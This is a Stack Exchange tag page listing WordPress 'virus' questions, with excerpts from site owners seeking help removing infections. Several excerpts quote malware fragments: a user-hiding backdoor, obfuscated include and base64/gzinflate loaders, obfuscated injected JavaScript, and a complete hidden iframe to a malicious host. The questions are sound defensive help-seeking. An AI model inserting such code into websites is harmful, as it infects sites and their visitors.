Questions tagged [virus]

in WordPress virus is malicious code (PHP, Java Script, etc) that can self replicate, do damage, and steal sensitive information. usually it comes in disguise as plugin or theme.

Filter by
Sorted by
Tagged with
0 votes
0 answers
21 views

Is this a backup door?

So I am working on client's site and I found this code in the functions.php file highlighted as a virus. @!!!>$user_search->query_where=str_replace('WHERE 1=1',"WHERE 1=1 AND{$wpdb->...
user avatar
  • 1
0 votes
1 answer
26 views

How to remove click ads from fresh WordPress site? [closed]

I bought a hosting and domain from Godaddy, Installed WordPress. Now the site is showing ads on every page after clicking anywhere on the pages or in the admin section as well. I have tried manual ...
user avatar
0 votes
1 answer
185 views

malware undetectable by multiple scans

I would like to inform and request help from the community. What happens is this malware was in the folder / wp-content / uploads / 2020 / Named index.php And I found him in the year 2017 in the ...
user avatar
0 votes
1 answer
29 views

How to create a plugin with automatic update?

I'm developing a plugin and would like to know how do I send automatic updates to it? Do I have to use webhooks for this? The plugin will be for private use, it will scan the website to remove ...
user avatar
0 votes
1 answer
1k views

Decoded malware code [closed]

My wordpress site got recently hacked. Upon research I found 3 files were infected : index.php wp-config.php wp-settings.php All including this piece of code : @include "\057h\157m\145/mywebsite/\...
user avatar
  • 101
0 votes
3 answers
2k views

Removing Malware Appended to Each Post

I have a malware java script that was added to the end of every post. I tried using an SQL statement in phpMyAdmin. Here is a shortened version of that: SET @virus = "<script>var _0x2cf4=['...
user avatar
  • 128
0 votes
0 answers
122 views

Bing/msn bots is heavily requesting random of my website

I am facing a big problem with my server. I have a website that keeps getting massive page requests coming from "Bing/Msn" bot every second or two and the ip changes now and then. Which is putting a ...
user avatar
0 votes
1 answer
95 views

Coinhive Malware on WordPress websites

I have cPanel and all my websites got infected with coinhive malware. I searched through all files for coinhive keyword, ran multiple scanners, and even bought cPanel antivirus. Ran database search ...
user avatar
  • 85
2 votes
1 answer
62 views

Suspicious google tag manager

I'm trying to integrate some analytics into my site and whilst debugging why mine wasn't working, I found this line being put in the head of my document: <script async="" src="https://www....
user avatar
  • 141
0 votes
1 answer
27 views

Scan multiple websites for malware that are in same webhost root?

I have a bunch of WordPress sites that I host with the same hosting company. I manage them with the same account so they sit in the same root directory. I noticed that one of my sites was infected ...
user avatar
0 votes
1 answer
286 views

Malware in old website - how to migrate?

I was hired to build a new website for a company who's old website has turned into a dumpster fire. I was then asked to migrate over 1000 blog posts from the old website to the new website. This has ...
user avatar
1 vote
1 answer
50 views

Inject added to title

Have a great problem, in title wordpress site sometimes (random) added inject code (screenshoot). After code added site redirection on page with banners. Change server pass, change users pass, add ...
user avatar
1 vote
1 answer
156 views

Why my wordpress blog files are getting changed?

I have a blog on wordpress and is hosted on godaddy. I continously getting few of the core wordpress files changed automatically. My blog project is on git so I can figure it out easily and reset the ...
user avatar
  • 79
0 votes
1 answer
86 views

unable to remove malware from wp website [closed]

I recently submitted my website to adwords and it was rejected due to malacious software or link. The link detected in www.ws30.coinhive.com . I have scanned my wordpress website using plugins such ...
user avatar
0 votes
4 answers
7k views

My Wordpress website was hacked [closed]

Today while working, I had tried to install Go Pricing Plugin from this website. https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ It was unsuccessful at ...
user avatar
0 votes
2 answers
318 views

UpdraftPlus installed malware - scared to download or update plugins now! [closed]

A couple months back, I installed UpdraftPlus (free version) on my WordPress.org site. To my horror, immediately afterwards we started getting popups that would redirect to spam sites when you clicked ...
user avatar
1 vote
1 answer
129 views

Wordpress filter that hook after each action/filter hook

In my wordpress site virus script added in footer on wp_footer action. I try many techniques, but i cant find virus hook location. Is there any wp action/filter, that hook after each action /filter ...
user avatar
  • 111
0 votes
0 answers
146 views

spambot registering without providing email or password, bypassing registration process

I am facing quite a problem with spam-bots, and could really use some advice. My WP website/phpBB forum uses a WordPress to phpBB bridge, to allow integration of users/registration from phpBB to ...
user avatar
  • 21
0 votes
0 answers
96 views

Microsoft Security Essentials is blocking my WordPress website in IE11

When I try to browse my WordPress website by using IE11, I get blocked by MS Security Essentials. It works ok with Google Chrome.
user avatar
0 votes
2 answers
74 views

Is a Virus detection plugin necessary?

Nowdays a Virus detection plugin is necessary for Wordpress? EDIT: I mean to prevent attacks and violations... for example i'm using this plugin: https://sucuri.net/wordpress-security/wordpress-...
user avatar
0 votes
1 answer
107 views

How to distinguish between a hack and an encoding error?

This morning I was working with a new image gallery plugin. After two hours of working with it, our server was struggling with a heavy network traffic, and then the server appeared to go out. ...
user avatar
  • 1
0 votes
1 answer
181 views

Is there a malicious code inside my wordpress site? [closed]

Using my Iphone, I visited our website and when I click some of our Menu like Industry and Power instead of seeing the correct link I see Trk . tracksys55 . com then another websites which is somehow ...
user avatar
1 vote
1 answer
116 views

Best Way to Upgrade from WP 2.8 (!)?

I offered a friend to help translate from English some parts of his (mostly) Hebrew install. Then he told me two things: 1) That he's running 2.8 (he was worried about updating because he didn't ...
user avatar
1 vote
1 answer
41 views

Advice and plugins against Malware [closed]

I´m starting with WordPress and would like to make sure my blog stays Malware free. I´ve seen that there are quite a few things to do to insure that. Personnally I´d like to keep it easy and still be ...
user avatar
0 votes
1 answer
388 views

Unable to access WP admin

I cannot access admin via: http://example.com/admin or http://example.com/wp-admin Fatal error: Class 'ObjectModel' not found in /home3/xxxxxx/public_html/example.com/wp-includes/class.wp-...
user avatar
  • 1,932
0 votes
1 answer
771 views

Javascript alert appears before <!DOCTYPE> tag

I have wordpress 3.5.1 on Debian Squeeze. Every time before the page loads javascript alert appears with message 2819371938193817109948281937271937 and have to click OK to see the page. I get this ...
user avatar
  • 143
0 votes
1 answer
1k views

Malware in header.php [closed]

Four different websites got infected and been blocked by Google, and after a quick look, I've noticed this just before wp_head(): <?php #d93065# echo(gzinflate(base64_decode("tVVNj5swEP0... (...
user avatar
  • 195
0 votes
4 answers
295 views

Malicious script is being appended to my markup. Help? [closed]

On my site, the script below is being added: <iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm"> I tried searching every file in my WP install directory for ...
user avatar
  • 177
1 vote
3 answers
141 views

Can a user spread virus on my Multisite?

Can a user spread Virus or do an harm to Multisite Installation ? Can a user take a chance of using "HTML " option in posts? In what ways do my Multi-site have chances to get attacked ? Could you ...
user avatar
  • 539
2 votes
2 answers
4k views

Can a WordPress plugin or theme contain a virus?

Is it possible to write a virus in a form of a WordPress plugin/theme? Is it possible to: steal user data? damage existing WordPress installation? (optionally) self-spread the virus? Are there any ...
user avatar
  • 635